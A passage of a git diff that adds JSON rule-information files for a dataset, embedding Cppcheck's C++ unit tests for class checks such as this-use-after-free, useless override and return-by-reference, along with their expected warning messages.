};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/initializerListOrder.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/initializerListOrder.json new file mode 100644 index 0000000..257d5d4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/initializerListOrder.json @@ -0,0 +1,22 @@ +{ + "name": "initializerListOrder", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 66, + "branches": 31, + "apis": 72, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 7758 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n 